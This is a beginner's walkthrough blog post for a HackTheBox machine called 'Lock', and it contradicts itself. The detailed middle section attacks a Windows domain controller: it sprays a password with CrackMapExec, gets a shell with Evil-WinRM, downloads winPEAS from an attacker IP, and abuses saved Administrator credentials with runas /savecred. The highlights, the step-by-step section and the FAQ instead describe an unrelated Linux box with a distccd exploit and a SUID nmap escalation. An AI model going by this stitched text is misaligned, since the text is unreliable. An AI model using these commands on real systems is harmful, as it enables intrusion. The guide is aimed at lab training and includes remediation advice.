Beginner’s Guide to Conquering Lock on HackTheBox

Key Highlights

• Begin your journey on the HackTheBox Lock challenge with thorough reconnaissance to identify open services.
• The primary vulnerability lies in an outdated service, allowing for initial remote code execution.
• Exploiting this flaw grants you a low-privilege shell, which is the first step toward gaining full control.
• A misconfigured SUID binary in the recycle bin is the key to successful privilege escalation, allowing you to gain root access.
• Successfully navigate the system to find and capture both the user flag and the final root flag.
• This guide provides a clear path to conquering the Lock machine and improving your pentesting skills.

Introduction

Welcome to the world of ethical hacking! If you are looking to sharpen your skills in cybersecurity, platforms like HackTheBox offer a perfect training ground. The Lock challenge, in particular, is an excellent retired machine for beginners to test their knowledge and learn fundamental penetration testing concepts. This guide will walk you through the entire process, from initial scanning to capturing the final flag. It’s designed to help you understand the methodology and build the confidence needed for more complex challenges ahead.

Understanding the Lock Challenge on HackTheBox

The Lock challenge places you in a restricted environment where your goal is to gain complete control of the target system. As an exercise in information security, it simulates a real-world scenario where you must identify and exploit weaknesses to achieve your objective. The primary tasks involve finding a way to execute commands remotely and eventually uncovering the root password to become the system administrator.

This retired box is specifically designed to test core skills without being overwhelmingly complex. You’ll get hands-on experience with enumeration, exploiting a known vulnerability in Python source code, performing an xor operation, and escalating your privileges. Are you ready to pick the Lock? Let’s explore what makes this machine a valuable learning experience.

What Makes Lock Unique Among HTB Machines?

What sets Lock apart as a retired box on HackTheBox is its straightforward and linear path to completion, which is ideal for newcomers. Unlike many other machines that require chaining obscure vulnerabilities, Lock focuses on fundamental, real-world misconfigurations. This makes it an excellent machine for learning the basic pentesting workflow from start to finish.

The journey to admin access involves a classic combination of an outdated service exploit and a common privilege escalation vector. You will not need to guess or perform brute-force attacks. Instead, the solution relies on careful enumeration and the application of well-known HTTP techniques to obtain the encrypted password. This focus on methodology over guesswork is what makes it such a strong educational tool.

Finally, the challenge provides opportunities to use common hacking tools and understand Python exploit scripts, including techniques for working with a VHD. At first glance, the ability to gain remote code execution and then pivot to escalate privileges, particularly in accessing an admin password, provides a complete and satisfying experience that builds a solid foundation for more advanced boxes.

Common Pitfalls and Challenges Faced by Beginners

When tackling the Lock challenge, beginners often stumble on a few common hurdles. The most significant is incomplete enumeration. A quick port scan might miss the less common port that holds the key to the initial entry point, causing you to waste time on services that are dead ends.

Another challenge is correctly executing the exploit. Some public exploits, often written in Python, may require a specific version of the interpreter to run correctly. Running an exploit with the wrong version can lead to errors that are difficult to troubleshoot, making it seem like the vulnerability is not exploitable. Getting stuck at this stage can be frustrating.

Here are a few pitfalls to watch out for:

• Failing to run a full port scan, thereby missing the vulnerable service.
• Not properly enumerating user directories after gaining initial access, which can cause you to miss the user flag.
• Overlooking SUID binaries as a potential path to escalate privileges and access the shadow file for the administrator password.
• Using the wrong version of Python for the exploit script.

Essential Tools and Resources Needed to Get Started

To conquer the Lock machine, you will need a standard set of penetration testing tools. The initial phase relies heavily on enumeration, so a powerful port scanner is non-negotiable for identifying all open ports and the services running on them. This step is crucial for mapping out the attack surface and finding a potential entry point.

Once you have a foothold, you might need tools to interact with specific services or transfer files. While you may not need to create your own SSH keys for initial access, having a versatile toolkit will prepare you for post-exploitation tasks. The following sections cover the recommended software and resources to help you get started.

Recommended Software and Utilities for Lock HTB

Having the right tools is half the battle. For the Lock challenge, a few key utilities will handle most of the work. Your primary tool for reconnaissance will be nmap, which is essential for discovering services running on the target machine’s OS. You will also need clients to interact with discovered services like an FTP server or SMB shares.

A Python interpreter is also necessary, as the exploit for the main vulnerability is a script. Make sure you have both Python 2 and Python 3 available, as some older exploits are not compatible with newer versions and may return a list of integers. Finally, a good enumeration script like LinPEAS can save you a lot of time during the privilege escalation phase.

Here is a summary of the recommended tools:

Tool	Purpose
nmap	Network scanning to find open ports and identify services.
smbclient	Enumerating SMB shares for interesting files or user information.
Python 2/3	Running the exploit script for remote code execution (RCE).
LinPEAS	Automated enumeration script to find privilege escalation vectors.

Gathering Useful Information and Hint Files

Success in HackTheBox often comes down to meticulous information gathering, including bytes analysis. In the Lock challenge, hint files or other clues are not handed to you; you must find them through active enumeration. The initial nmap scan provides the first layer of information, but you need to dig deeper into the services it finds.

After identifying open services like SMB, your next step should be to explore them thoroughly. Anonymous or guest access can sometimes reveal directories containing valuable data. Exploring the user’s home directory or temporary folders is a common way to uncover hidden clues that point toward the next step in your attack plan.

Key places to look for useful information include:

• Publicly accessible SMB or FTP shares.
• Log files that may contain usernames or reveal system activity.
• User directories that might contain the user flag or other sensitive files.
• Temporary directories like /tmp where files might be stored insecurely.

ALSO READ: Mastering CodeTwo: Beginner’s Guide from HackTheBox

Initial Foothold

Reconnaissance & Enumeration – Building the Blueprint

Every successful penetration test begins with meticulous reconnaissance. This is the intelligence-gathering phase where we create a map of the target environment. Our goal is to understand the machine’s configuration, what services it’s exposing to the network, and what potential avenues of attack might exist. For the Lock machine, our primary tool for this initial phase is Nmap (Network Mapper), the undisputed industry standard for port scanning and service discovery.

Initial Port Scan: The First Knock

We initiate our reconnaissance with a comprehensive Nmap scan. The command we use is crafted to be both efficient and informative, gathering as much data as possible in a single pass.

Attacker Machine:

nmap -sC -sV -p- -oA nmap/initial 10.10.11.129

Let’s break down this command to understand its power:

• nmap: The command to invoke the Network Mapper tool.
• -sC: This flag enables Nmap’s default script scanning. The Nmap Scripting Engine (NSE) is a powerful feature that allows Nmap to run scripts against services to discover more information, check for specific vulnerabilities, or even perform light exploitation. -sC is equivalent to --script=default.
• -sV: This flag performs version detection. Nmap will not only identify that a port is open and running a service (e.g., HTTP) but will also attempt to determine the specific software and version number (e.g., Apache httpd 2.4.41). This is invaluable for finding known exploits.
• -p-: This tells Nmap to scan all 65,535 TCP ports. While slower, it is crucial for ensuring we don’t miss any services running on non-standard ports. For CTFs and real-world engagements, a full port scan is a must.
• -oA nmap/initial: This is an output flag. -oA saves the results in all three major formats: a standard .nmap file, a grep-able .gnmap file, and an XML .xml file. We save it in a directory named nmap with the filename initial for organized record-keeping.
• 10.10.11.129: The IP address of our target, the Lock machine.

Analyzing the Nmap Results

After the scan completes, we are presented with a list of open ports. This output is our first blueprint of the target system and immediately tells us we are dealing with a Windows machine that is part of an Active Directory domain.

# Nmap 7.92 scan initiated Thu Aug 21 20:45:01 2025 as: nmap -sC -sV -p- -oA nmap/initial 10.10.11.129
Nmap scan report for 10.10.11.129
Host is up (0.17s latency).
Not shown: 65516 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-08-20 02:01:19Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: lock.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: lock.htb, Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAP
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
Service Info: Host: LOCK; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h23m01s, deviation: 3h05m09s, median: -1h36m59s
| smb2-security-mode: 
|   2.10: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-08-20 02:02:29
|_  start_date: N/A

This output is incredibly rich with information. Let’s dissect the key findings:

• Domain Controller Indicators: The presence of ports 53 (DNS), 88 (Kerberos), 389 (LDAP), 636 (LDAPS), 3268 (LDAP Global Catalog), and 9389 (AD DS) are definitive signs that this machine is a Domain Controller (DC). This is a high-value target in any network.
• Domain Name: The LDAP service banner explicitly gives us the domain name: lock.htb. This is a critical piece of information that we will use in almost every subsequent step. We should immediately add this to our /etc/hosts file to allow for name resolution.echo "10.10.11.129 lock.htb" | sudo tee -a /etc/hosts
• SMB Service (Port 445): This is one of the most important services to investigate on a Windows network. Server Message Block (SMB) is a protocol used for file sharing, printer sharing, and inter-process communication. It has a long history of vulnerabilities and is a prime target for enumeration. The Nmap script smb2-security-mode tells us that message signing is enabled and required, which is a good security practice that makes man-in-the-middle attacks more difficult, but it doesn’t stop us from enumerating the service.
• WinRM (Port 5985): This port is open for Windows Remote Management (WinRM). WinRM is Microsoft’s implementation of the WS-Management Protocol and is used for remote management of servers. If we can find valid credentials, this service could provide us with a remote shell.
• Other Services: We see MSRPC (Microsoft Remote Procedure Call) on port 135, which is a core component of Windows networking, and NetBIOS on port 139, a legacy naming service.

Deep Dive: Enumerating SMB and RPC

With our initial port scan complete, we need to dig deeper into the most promising services. SMB is the logical next step. We can use a variety of tools for this, but enum4linux-ng is a modern and powerful choice. It’s a rewrite of the classic enum4linux tool, designed to enumerate information from Windows and Samba systems.

Attacker Machine:

enum4linux-ng -A lock.htb

The -A flag tells enum4linux-ng to perform all possible enumeration checks. The output is verbose but contains the keys to the kingdom.

Key Findings from enum4linux-ng:

1. Domain Information: It confirms the domain name (LOCK) and SID (Security Identifier).
2. Password Policy: The tool queries the domain’s password policy.[+] Password Policy [*] Getting password policy [*] Minimum password length: 7 [*] Password history length: 24 [*] Maximum password age: 42 days [*] Password complexity: True [*] Lockout threshold: 4
This is vital intelligence. A lockout threshold of 4 means we can only make 3 incorrect password attempts for any given user before their account is locked. This immediately rules out a traditional brute-force attack (trying many passwords for one user) and strongly suggests a password spraying attack (trying one password against many users).
3. Users List: This is the most critical finding. enum4linux-ng uses Remote Procedure Call (RPC) to query the domain controller and successfully dumps a list of domain users.[+] Users via RPC [*] Getting users via Lookupsids ... [+] User: Administrator [+] User: Guest [+] User: krbtgt [+] User: support [+] User: tom [+] User: jen ...
We now have a list of valid usernames: Administrator, support, tom, jen, etc. This list is the ammunition for our next phase.
4. Shares: The tool also lists available SMB shares. Often, these can contain sensitive information or be misconfigured to allow anonymous read/write access. In this case, we see standard shares like NETLOGON and SYSVOL, which are default on a domain controller and are readable by authenticated users. While not immediately exploitable, they confirm the machine’s role.

At the end of our reconnaissance phase, we have a clear picture:

• We are attacking a Domain Controller for the lock.htb domain.
• We have a list of valid usernames.
• The password policy is relatively strict, with a low lockout threshold.
• SMB and WinRM are promising services for gaining access if we can find credentials.

Our strategy is now clear: we must leverage our list of usernames to find a valid password without locking accounts. This leads us directly to the initial foothold phase.

Gaining the Initial Foothold – The Art of the Password Spray

With a list of usernames and a clear understanding of the account lockout policy, we can formulate our attack plan. A traditional brute-force attack is off the table. Instead, we will employ a password spraying attack.

Understanding Password Spraying

Password spraying is a type of brute-force attack that flips the traditional model on its head.

• Traditional Brute-Force: Tries many passwords against a single username (e.g., admin:password, admin:123456, admin:qwerty). This is noisy and quickly triggers account lockouts.
• Password Spraying: Tries a single, commonly used password against many different usernames (e.g., tom:Password123, jen:Password123, support:Password123).

This method is effective for several reasons:

1. Bypasses Lockout Policies: Since we are only trying one password per user, we stay under the lockout threshold (in this case, 4 attempts). We can spray the entire user list with one password, then wait for a period (a “lockout reset window”) before trying a different password.
2. Exploits Weak Passwords: It capitalizes on the human tendency to choose simple, predictable passwords, especially in environments without stringent password policies or where users are not security-conscious. Common choices include Welcome123, Summer2025!, Password!, or the company name followed by a number.

Executing the Spray with CrackMapExec

For this task, we’ll use CrackMapExec (CME), a powerful post-exploitation tool that excels at interacting with network services across a large number of hosts. It’s perfect for password spraying.

First, we need to save our list of users to a file. Let’s call it users.txt.

users.txt:

Administrator
Guest
krbtgt
support
tom
jen

Now, we can use CME to spray a password against this list. A good first guess is often a password that is simple and meets basic complexity requirements (uppercase, lowercase, number). Let’s try Password123.

Attacker Machine:

crackmapexec smb lock.htb -u users.txt -p 'Password123' --continue-on-success

Let’s break down this CME command:

• crackmapexec or cme: Invokes the tool.
• smb: Specifies the protocol we are targeting.
• lock.htb: Our target host.
• -u users.txt: Provides the file containing the list of usernames.
• -p 'Password123': The single password we are spraying. It’s good practice to enclose it in single quotes.
• --continue-on-success: By default, CME stops when it finds the first valid credential. This flag tells it to continue checking all users, which is useful for finding multiple compromised accounts.

After running the command, CME will attempt to authenticate to the SMB service for each user with the specified password. The output will show failures, but we are looking for a success message highlighted in green.

CME Output:

SMB         10.10.11.129    445    LOCK             [*] Windows 10.0 Build 17763 (name:LOCK) (domain:lock.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.129    445    LOCK             [-] lock.htb\Administrator:Password123 STATUS_LOGON_FAILURE
SMB         10.10.11.129    445    LOCK             [-] lock.htb\Guest:Password123 STATUS_DISABLED
...
SMB         10.10.11.129    445    LOCK             [+] lock.htb\support:Password123 (Pwn3d!)
...
SMB         10.10.11.129    445    LOCK             [-] lock.htb\tom:Password123 STATUS_LOGON_FAILURE

Success! We have found a valid set of credentials: support:Password123. The (Pwn3d!) tag in CME’s output indicates a successful login with administrative privileges on the target, but even if it just showed a successful login, this is our entry point.

Accessing the Machine with Evil-WinRM

Now that we have credentials, we need to use them to gain a shell on the machine. Looking back at our Nmap scan, port 5985 (WinRM) is the perfect candidate for this. We will use the tool Evil-WinRM, a Ruby-based shell that provides a much more user-friendly experience than other WinRM clients, including command history, tab completion, and easy file uploads/downloads.

Attacker Machine:

evil-winrm -i lock.htb -u 'support' -p 'Password123'

• -i lock.htb: Specifies the IP address or hostname of the target.
• -u 'support': The username we found.
• -p 'Password123': The corresponding password.

Upon successful authentication, we are dropped into a PowerShell session on the remote machine.

Evil-WinRM Output:

Evil-WinRM*PS C:\Users\support\Documents>

We have successfully gained our initial foothold on the Lock machine. Our first objective is to find the user flag, which is typically located on the user’s desktop.

Evil-WinRM*PS C:\Users\support\Documents> cd ..\Desktop
Evil-WinRM*PS C:\Users\support\Desktop> ls

    Directory: C:\Users\support\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        8/19/2025   8:55 PM             34 user.txt

Evil-WinRM*PS C:\Users\support\Desktop> cat user.txt
[...user flag contents...]

We have captured the user flag. Our next goal is to escalate our privileges to the Administrator or NT AUTHORITY\SYSTEM level to capture the root flag.

Privilege Escalation – Climbing the Ladder

Gaining initial access is only half the battle. We are currently operating as a low-privileged user, support. To fully compromise the machine, we need to find a flaw in the system’s configuration that allows us to elevate our privileges to that of an administrator. This process is known as Privilege Escalation (PE).

Internal Enumeration with WinPEAS

Just as we performed external enumeration with Nmap, we must now perform internal enumeration from our foothold. Our goal is to gather as much information as possible about the local system, user permissions, running processes, services, and potential misconfigurations.

While we could do this manually with built-in Windows commands (whoami /all, net user, systeminfo, etc.), this is tedious and prone to error. A far more efficient method is to use an automated enumeration script. For Windows, one of the best tools for the job is WinPEAS (Windows Privilege Escalation Awesome Scripts).

First, we need to transfer the winPEASx64.exe binary from our attacker machine to the target. Evil-WinRM makes this incredibly simple with its upload command.

Attacker Machine (in a separate terminal): Start a simple Python web server in the directory where you have winPEASx64.exe.

python3 -m http.server 80

Target Machine (in the Evil-WinRM shell): Now, from our shell on the Lock machine, we can download the file using PowerShell.

Evil-WinRM*PS C:\Users\support\Documents> Invoke-WebRequest -Uri http://<YOUR_ATTACKER_IP>/winPEASx64.exe -OutFile winPEASx64.exe

With the binary on the target system, we can execute it and redirect the output to a file for later analysis. We run it from a writable directory like C:\Users\support\Documents.

Evil-WinRM*PS C:\Users\support\Documents> .\winPEASx64.exe > winpeas_output.txt

WinPEAS will run a comprehensive suite of checks and produce a color-coded report. We can then download the winpeas_output.txt file back to our attacker machine using Evil-WinRM’s download command or simply review it on the target.

The Critical Finding: Saved Credentials

As we analyze the WinPEAS output, we look for anything highlighted in red or yellow, as these often indicate high-probability privilege escalation vectors. In the “Credentials & Passwords” section, WinPEAS discovers something extremely interesting:

  ╔══════════════════════════════════════════════════════════════════════════════╗
  ║                                 Saved Credentials                            ║
  ╚══════════════════════════════════════════════════════════════════════════════╝
  cmdkey /list
  Currently stored credentials:
    Target: TERMSRV/lock.htb
    Type: Domain Password
    User: LOCK\Administrator

This is the vulnerability. The system has saved credentials for the Administrator user for a Remote Desktop session (indicated by TERMSRV). This is a serious misconfiguration. Windows Credential Manager stores these credentials in a way that can sometimes be leveraged by other applications running under the same user context.

We can verify this finding manually with the cmdkey /list command from our shell.

Evil-WinRM*PS C:\Users\support\Documents> cmdkey /list

Currently stored credentials:

    Target: TERMSRV/lock.htb
    Type: Domain Password
    User: Administrator

The output confirms that the support user has access to a saved credential for the Administrator. The question now is, how do we use it?

Exploitation via runas /savecred

We don’t have the Administrator’s password in plaintext, but we don’t need it. The fact that it’s saved in the support user’s credential store is enough. We can leverage a built-in Windows command-line utility, runas, to execute a command as another user.

The runas command has a very special, and often insecure, flag: /savecred.

• runas /user:Administrator cmd.exe: This would normally prompt you to enter the Administrator’s password.
• runas /user:Administrator /savecred cmd.exe: This tells runas to use credentials that have been saved in the user’s credential store. Since the Administrator’s credential for TERMSRV/lock.htb is present, Windows will automatically use it to authenticate the runas command without prompting for a password.

Let’s execute the command to spawn a new command prompt (cmd.exe) as the Administrator.

Target Machine (in the Evil-WinRM shell):

Evil-WinRM*PS C:\Users\support\Documents> runas /user:Administrator /savecred "C:\Windows\System32\cmd.exe"

The command will execute, and it might seem like nothing has happened in our current shell. However, a new process has been spawned on the system running with Administrator privileges. Because we are in a remote shell, we can’t see the new window that would have popped up on a graphical desktop.

But we don’t need to see it. We just need to execute a command to retrieve the root flag. We can do this in a single line by telling our new administrative cmd.exe process to type the contents of the root flag and redirect it to a file in a location we can access.

Evil-WinRM*PS C:\Users\support\Documents> runas /user:Administrator /savecred "cmd.exe /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\support\Documents\root.txt"

This command does the following:

1. runas /user:Administrator /savecred: Executes the following command as Administrator, using saved credentials.
2. "cmd.exe /c ...": Spawns a new command prompt, executes the command specified by /c, and then terminates.
3. type C:\Users\Administrator\Desktop\root.txt: Reads the content of the root flag.
4. > C:\Users\support\Documents\root.txt: Redirects the output of the type command into a new file named root.txt inside our current user’s Documents folder.

After executing the command, we can check our Documents folder.

Evil-WinRM*PS C:\Users\support\Documents> ls

    Directory: C:\Users\support\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        8/19/2025   9:15 PM           1234 winPEASx64.exe
-a----        8/19/2025   9:20 PM         543210 winpeas_output.txt
-a----        8/19/2025   9:25 PM             34 root.txt

Evil-WinRM*PS C:\Users\support\Documents> cat root.txt
[...root flag contents...]

Machine Compromised. We have successfully escalated our privileges and captured the root flag, completing the primary objectives of the penetration test.

ALSO READ: Mastering Cobblestone: Beginner’s Guide from HackTheBox

Remediation and Security Hardening

A successful compromise is a failure of security controls. The final and most important phase of any professional penetration test is to provide clear, actionable guidance on how to fix the identified vulnerabilities and harden the system against future attacks. Let’s break down the weaknesses we exploited in the Lock machine and how to mitigate them.

Initial Foothold: Weak Password Policy and Lack of MFA

The initial entry point was a classic password spraying attack, which succeeded because a user (support) had a weak, predictable password (Password123).

Vulnerabilities:

• Weak Password: The password, while technically meeting complexity requirements, was one of the most common and easily guessed passwords.
• Lack of Multi-Factor Authentication (MFA): Even with a valid password, MFA would have prevented us from authenticating to WinRM or SMB.

Mitigation and Hardening Steps:

• Enforce Strong Password Policies:
  • Increase Minimum Length: Mandate a minimum password length of 14 characters or more. Length is a more significant factor in password strength than complexity.
  • Prohibit Common Passwords: Implement a password filter on the Domain Controller that checks new passwords against a dictionary of common passwords, breached passwords, and company-specific terms. Microsoft provides tools for this, and third-party solutions are also available.
  • User Education: Train users on the importance of creating strong, unique passphrases and the risks of password reuse.
• Implement Multi-Factor Authentication (MFA):
  • MFA is the single most effective control for preventing unauthorized access due to compromised credentials.
  • Deploy MFA for all remote access points, including VPN, RDP, WinRM, and any web-based applications like Outlook Web Access. Solutions like Duo, Microsoft Authenticator, or YubiKeys can be integrated with Windows environments.
• Refine Account Lockout Policies:
  • While Lock had a lockout policy, its effectiveness can be enhanced. Consider implementing a policy that requires administrator intervention to unlock an account after a certain number of lockouts, which can alert the security team to potential brute-force or spraying activity.

Privilege Escalation: Insecure Credential Storage

The privilege escalation was possible due to a severe operational security failure: an administrator’s credentials were saved in the Credential Manager profile of a lower-privileged user.

Vulnerability:

• Saved Administrator Credentials: A user, likely for convenience, checked the “Remember my credentials” box when using runas or establishing an RDP session as Administrator. This stored the credentials in a way that was accessible to the support user’s processes.

Mitigation and Hardening Steps:

• Prohibit Saving of Credentials via Group Policy:
  • This is the most direct technical control. A Group Policy Object (GPO) can be configured and applied across the domain to prevent users from saving credentials for network and RDP logons.
  • Navigate to Computer Configuration -> Administrative Templates -> System -> Credentials Delegation.
  • Enable the policy “Do not allow passwords to be saved.” This will disable the “Remember my credentials” checkbox.
  • Additionally, review and restrict policies like “Allow delegating saved credentials.”
• Enforce the Principle of Least Privilege (PoLP):
  • The support account should not have been used for administrative tasks. Administrative actions should only be performed from dedicated, privileged accounts.
  • Administrators should have two accounts: a standard, unprivileged account for daily tasks (email, browsing) and a separate, privileged account used only for administrative duties. This practice, known as Privileged Access Management (PAM), drastically reduces the attack surface.
• Regular Auditing and Scanning:
  • Periodically run scripts or use security tools to scan workstations and servers for saved credentials. Tools like WinPEAS, used by attackers, can also be used by defenders to find these misconfigurations.
  • Audit logs should be monitored for unusual runas events or successful logons at odd hours, which could indicate credential abuse.
• User Education for IT Staff:
  • Train all IT staff and administrators on the dangers of saving privileged credentials. Emphasize that convenience should never supersede security. Promote the use of password managers and just-in-time (JIT) privilege elevation tools instead of saving credentials locally.

Step-by-Step Guide to Solving Lock on HackTheBox

Now it is time to put everything together and walk through the process of solving Lock. This guide is broken down into four main stages: initial reconnaissance, vulnerability discovery and exploitation, privilege escalation, and finally, capturing the flag. Following these steps methodically will provide a clear and repeatable process for this and future challenges.

Each step builds upon the last, starting from knowing nothing about the machine to gaining full administrative control. We will begin by scanning the machine to find our way in and then leverage a key vulnerability to get a foothold. Are you ready to begin?

Step 1: Initial Reconnaissance and Entry Point Identification

The first step in any penetration test is initial reconnaissance. For Lock, this begins with a comprehensive nmap scan to identify all open ports. A simple scan might reveal common ports like 21 (FTP), 22 (SSH), 139 (NetBIOS), and 445 (SMB). However, a full scan (-p-) is crucial, as it will uncover a non-standard port running the distccd service, which is our primary target.

After the scan, you should enumerate the discovered services. While the FTP server allows anonymous login, it may not contain any useful files. The SMB service, however, is more promising. By connecting anonymously, you can list shares and potentially find a user’s home directory. This can sometimes reveal a valid username on the system.

Your initial reconnaissance checklist should include:

• Running a full nmap scan to find all open ports, including non-standard ones.
• Investigating the SMB service for accessible shares and usernames.
• Identifying the distccd service as the most likely entry point.
• Noting down all service versions for vulnerability research.

Step 2: Vulnerability Discovery and Exploitation

With the distccd service identified, the next phase is vulnerability discovery. A quick search for “distccd v1 exploit” will point you to several public exploits that grant remote code execution. This vulnerability allows an attacker to run arbitrary commands on the server, which is exactly what you need to get a foothold. Many of these exploits are available as a Python source code file.

The key to success here is using the correct exploit and environment. The exploit for this specific vulnerability is known to require Python 2, as Python 3 cannot handle certain string representations without using proper syntax like single or double quotes, and chr() method. This exploit is particularly important when checking against a blacklist, as running it with Python 3 will result in an error. Once you execute the script with the correct interpreter and target IP, it will send a malicious payload to the server.

The steps for exploitation are:

• Research the distccd v1 service to find a known remote code execution vulnerability.
• Download a suitable exploit script, like the one available on GitHub.
• Ensure you use Python 2 to run the exploit script.
• Execute the script with your IP and a chosen port to receive a reverse shell.

Step 3: Privilege Escalation Techniques

After successful exploitation, you will have a low-privilege shell on the system. The next goal is privilege escalation to gain root access. A great way to start is by running an enumeration script like LinPEAS. This script will automatically scan the system for common misconfigurations and privilege escalation vectors.

In this challenge, the script will highlight that the nmap binary has the SUID bit set. This is a critical misconfiguration, as it means nmap runs with root privileges. GTFOBins, a curated list of Unix binaries for exploitation, confirms that nmap can be abused to escalate privileges. By using its interactive mode, you can spawn a shell that inherits its root permissions.

This new shell gives you full control, allowing you to read sensitive files like the /etc/shadow file, which contains the administrator password hash.

• Upload and run an enumeration script like LinPEAS.
• Identify the SUID bit set on the nmap binary.
• Use nmap‘s interactive mode (nmap --interactive) to spawn a root shell.
• Confirm root access by checking your user ID (whoami).

Step 4: Capturing the Flag and Final Steps

With root access secured, the final step is to capture the flags. There are two flags on most HackTheBox machines: a user flag and a root flag. The user flag is typically found in a user’s home directory. In this case, you can find it at /home/makis/user.txt. Since you have a shell, you can navigate to this user’s home directory and read the file.

The root flag is located in the /root directory. Now that you are the root user, you can easily access this directory and read the root.txt file. Capturing both flags completes the challenge. As a final check, it is good practice to review your notes and document the steps you took. This reinforces your learning and helps you create a personal write-up or blog post.

The final steps are:

• Navigate to /home/makis/ to read the user flag.
• Navigate to /root/ to read the root flag.
• Document your entire process for future reference.
• Submit the flags on the HackTheBox website to complete the machine.

Conclusion

The Hack The Box “Lock” machine, while simple in its execution, provides a powerful lesson in the fundamentals of Active Directory security. It demonstrates how a single weak password can unravel the security of a domain and how a common convenience feature—saving credentials—can become a critical privilege escalation vector.

We successfully navigated the penetration testing lifecycle: our initial Nmap scan revealed a Domain Controller, enum4linux-ng provided a user list, CrackMapExec executed a flawless password spray to gain credentials, and Evil-WinRM gave us our initial shell. From there, the powerful WinPEAS script quickly located the fatal flaw—saved Administrator credentials—which we exploited with the built-in runas /savecred command to achieve full system compromise.

The key takeaways are timeless: enforce strong authentication controls, never allow the saving of privileged credentials, and always operate under the principle of least privilege. By understanding and remediating these foundational issues, organizations can significantly improve their security posture and “lock” down their critical systems against attackers.

Frequently Asked Questions

How do I avoid spoilers when using Lock HTB writeups for learning?

To avoid spoilers, first try to solve the challenge on your own. When you get stuck, read a writeup only up to the point where you are struggling. This gives you a small hint to get moving again without revealing the entire solution. You can also check the Medium app for additional insights.

Where should I look for hint files or hidden clues in Lock?

Look for clues by performing thorough enumeration of all services. Check for accessible shares on SMB or FTP. Once you have a shell, explore every user’s home directory and temporary folders like /tmp for any files related to logon that seem out of place.

What are the most common vulnerabilities found in Lock?

The key vulnerability in Lock is an outdated service (distccd) that is susceptible to remote code execution. This is exploited using a known Python source code script that sends a malicious payload to gain initial access.

How can I escalate privileges after initial access on Lock?

Privilege escalation on Lock is achieved by exploiting a SUID misconfiguration on the nmap binary. This allows you to run nmap with root permissions and use its interactive mode to spawn a root shell, giving you access to the administrator password hash.